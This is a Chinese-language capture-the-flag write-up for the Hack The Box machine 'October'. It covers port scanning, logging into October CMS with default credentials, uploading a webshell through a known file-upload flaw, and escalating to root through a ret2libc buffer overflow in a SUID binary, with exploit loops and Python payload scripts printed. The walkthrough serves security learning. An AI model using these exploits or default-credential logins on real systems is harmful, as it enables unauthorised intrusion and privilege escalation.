October Writeup

概述 (Overview)

image

时间: 2021-09-08 机器作者: ch4p 困难程度: easy MACHINE TAGS: * PHP * External * Apache * Penetration Tester Level 3 * Unrestricted File Upload * Binary Exploitation * Buffer Overflow * Default Credentials

攻击链 (Kiillchain)

使用 NMAP 对目标服务器进行开放端口枚举,发现Web服务部署有 October CMS 应用系统,并通过弱口令登陆,结合历史文件上传漏洞拿到目标服务器的立足点。

对识别出的可疑 SUID 权限的二进制程序进行逆向分析,发现其函数存在缓冲区溢出,最终构建 exploit 成功实现权限提升。

枚举(Enumeration)

首先使用 Nmap 对目标服务器进行开放服务识别,方便我们识别脆弱点:

# nmap -p- -n -Pn -sC --min-rate 2000 -oA nmap/portscan -v 10.10.10.16 PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA) | 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA) | 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA) |_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519) 80/tcp open http |_http-favicon: Unknown favicon MD5: 1D585CCF71E2EB73F03BCF484CFC2259 | http-methods: | Supported Methods: GET HEAD POST PUT PATCH DELETE OPTIONS |_ Potentially risky methods: PUT PATCH DELETE |_http-title: October CMS - Vanilla

从结果中看开放的外部访问端口很少,仅有两个,而 Web 服务的 title 告诉我们部署的站点是 October CMS。

Port 80 - October CMS

通过浏览器访问下站点,是 CMS 的默认样式:

image

立足点(Foothold)

使用 exploit-db 快速查询下是否存在历史漏洞,并尝试攻击高危的漏洞复现:

$ searchsploit October -------------------------------------------------------------------- October CMS - Upload Protection Bypass Code Execution (Metasploit) | php/remote/47376.rb October CMS 1.0.412 - Multiple Vulnerabilities | php/webapps/41936.txt October CMS < 1.0.431 - Cross-Site Scripting | php/webapps/44144.txt October CMS Build 465 - Arbitrary File Read Exploit (Authenticated) | php/webapps/49045.sh October CMS User Plugin 1.4.5 - Persistent Cross-Site Scripting | php/webapps/44546.txt OctoberCMS 1.0.425 (Build 425) - Cross-Site Scripting | php/webapps/42978.txt OctoberCMS 1.0.426 (Build 426) - Cross-Site Request Forgery | php/webapps/43106.txt

这里有一个任意文件上传的漏洞 CVE-2017-1000119,漏洞产生的详情可以在下面的文章中找到:

https://bitflipper.eu/finding/2017/04/october-cms-v10412-several-issues.html

利用方式直接阅读 `php/remote/47376.rb` 代码脚本就好,脚本存在三个参数都有默认值:

image

请求登陆接口登陆账号:

image

将随机生成的 .php5 WebShell 上传到目标服务器,最后进行一次 Get 请求认证:

image

当然,如果你是备考 OSCP 那么尽量不用去使用 MSF 工具运行脚本进行自动化,可以根据脚本中攻击过程手动复习并做好攻击过程截图。

  • 使用默认密码 admin/admin 进行系统登陆

image

  • 找到存在漏洞的功能页面上传 WebShell

image

  • 验证 WebShell 是否成功运行

image

通过 WebShell 进行命令执行反弹一个 NC 会话,会得到 www-data 用户的交互 shell,随后在 /home/harry 目录中找到 User Flag。

权限提升(Privilege Escalation)

在 /var/www/html/cms/config/database.php 目录中,可以获悉到数据库连接配置:

'mysql' => [ 'driver' => 'mysql', 'host' => 'localhost', 'port' => '', 'database' => 'october', 'username' => 'october', 'password' => 'OctoberCMSPassword!!', 'charset' => 'utf8', 'collation' => 'utf8_unicode_ci', 'prefix' => '', ],

通过 mysql -e 参数进行命令行下的 SQL 语句执行,得到 harry 的密码 hash:

image

可惜这段 Hash 通过字典工具解不出来,看来需要寻找其他的突破口。传递 linpeas 工具进行信息收集,发现在 /var/www/html/cms/storage/app/media/ 目录中存在 SUID 权限的可执行程序。

image

使用 NC 进行文件传递至 kali,进行分析:

$ nc -l -p 9901 > ovrflw # kali监听接收 $ nc -w 5 10.10.17.64 9901 < /usr/local/bin/ovrflw

使用 ltrace 来查看下进程调用库及函数的情况,通过输出的信息可以看到需要用户输入一个外部参数:

image

在通过 IDA 查看下伪代码及函数链路图:

image

image

很明显 strcpy 函数处存在溢出,尝试生成 120 位的随机字符串进行验证,发现进程存在异常退出:

image

这里我使用的是 GDB 的 GEF 插件,checksec 看下程序的安全属性。

gef➤ checksec [+] checksec for '/home/kali/hackthebox/October/file/pwn/ovrflw' Canary : ✘ NX : ✓ PIE : ✘ Fortify : ✘ RelRO : Partial
  • RELRO:该 RELRO 代表“relocation read-only”,这种保护可以确保全局偏移表(GOT)不能被覆盖。但在这种情况下,它是部分 RELRO,所以唯一的实际区别是 BSS 部分在 GOT 之前。这可以防止覆盖 GOT 的全局变量中的缓冲区溢出。
  • NX:NX 标志(如果在编译时启用)表示给定的内存区域可以是可读的或可执行的,但不能两者兼而有之。同样,这是一种保护,使执行任意 shellcode 变得更加困难。

这种溢出利用的 exploit 之前编写过,可见之前的文章 Hackthebox Frolic,使用 ROP 技术实现溢出。

NX exploit 编写步骤:

  • 获取 libc 库 地址
  • 获取 system 函数地址
  • 获取 /bin/sh 命令字符串地址
  • 获取 EIP 的偏移量
    通过本地 GDB 调试计算出偏移量是 112,发现目标服务器上有 gdb 工具,后续我们也可以通过它执行 exploit。

image

查询下动态连接库内函数基址:

$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e " system@" -e " exit@" 139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0 1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0 $ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/" 162bac /bin/sh 164b10 /bin/csh

看了眼 randomize_va_space ,发现存在内存空间随机化,这就有点尴尬了是 Frolic Box 机器提权的升级版。

$ cat /proc/sys/kernel/randomize_va_space 2

因为每次运行程序,动态库的基址是会发生变化的,这就对利用 exploit 编写增加了难度:

image

一顿猛 Google 目前的思路是:先泄漏出 libc.so 某些函数在内存中的地址,再利用泄漏出的函数地址根据偏移量计算出 system()函数和/bin/sh 字符串在内存中的地址,最后执行 ret2libc 的 shellcode。

所以可以想象最终的 payload 应该是:

'A' * 112 + system_plt + 0x0000000 + bin_sh_addr

利用 objdump 来查看可以利用的 plt 函数和函数对应的 got 表:

$ objdump -d -j .plt /usr/local/bin/ovrflw

image

先假设 libc.so 的基地址 0xb75f8000,随后进行计算:

system: 0xb75f8000+0x40310 = 0xB7638310 exit: 0xb75f8000+0x33260 = 0xB762B260 /bin/sh: = 0xb75f8000+0x162bac = 0xB775ABAC

最后运行提权的方式我找了好久才最终解决,通过碰撞基地址进行溢出提权。

http://staff.ustc.edu.cn/~bjhua/courses/fall10/labs/lab2/

image

目标服务器上执行:

$ while true; do /usr/local/bin/ovrflw $(python -c 'print "\x90"*112 + "\x10\x83\x63\xb7" + "\x60\xb2\x62\xb7" + "\xac\xab\x75\xb7"'); done

image

复盘

0xdf 的解题思路:

NX means that I can’t run shellcode from the stack, which is where I can write.

I recently did an introduction to Return to libc attacks in the Frolic write-up. The big difference here is that ASLR is enabled. However, if I look at the ldd output, I’ll notice that the address is really only changing between 0xb7500000 and 0xb76ff000. It looks like at most one byte plus one bit are changing, or nine bits, or 512 options. That means if I guess once, I have a (511/512)1 = 99.8% chance of failure, or a 1 - (511/512)1 = 0.2% chance of success. But if I try 500 times, I have a 1 - (511/512)500 = 62.38% chance of success. After 1000 guesses, I have a 1 - (511/512)1000 = 85.84% chance of succeeding. And since there’s nothing to stop me from calling the program over and over again. I’ll go that route.

而在查看 IPPSEC 的解题思路时他所编写的 exploit.py:

import struct system_addr = struct.pack("<I", 0xffffffff) exit_addr = struct.pack("<I", 0xffffffff) arg_addr = struct.pack("<I", 0xffffffff) buf = "A" * 112 buf += system_addr buf += exit_addr buf += arg_addr print buf

对开启了地址随机化的配置,基地址加偏移进行计算。

from subprocess import call import struct lib_base_addr = 0xffffffff system_off = 0xffffffff exit_off = 0xffffffff arg_off = 0xffffffff system_addr = struct.pack("<I", lib_base_addr + system_off) exit_addr = struct.pack("<I", lib_base_addr + exit_off) arg_addr = struct.pack("<I", lib_base_addr + arg_off) buf = "A" * 112 buf += system_addr buf += exit_addr buf += arg_addr call(["/usr/local/bin/ovrflw", buf])

两老哥是真牛逼… 啥时候我才能这么牛逼?

参考

  • https://www.mi1k7ea.com/2019/04/09/%E8%92%B8%E7%B1%B3ROP%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#level2%E2%80%94%E2%80%94ret2libc%E7%BB%95%E8%BF%87NX
  • https://hwlanxiaojun.github.io/2020/03/20/ROP-ret2libc%E5%8E%9F%E7%90%86%E5%8F%8A%E5%BA%94%E7%94%A8/
  • http://staff.ustc.edu.cn/~bjhua/courses/fall10/labs/lab2/


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。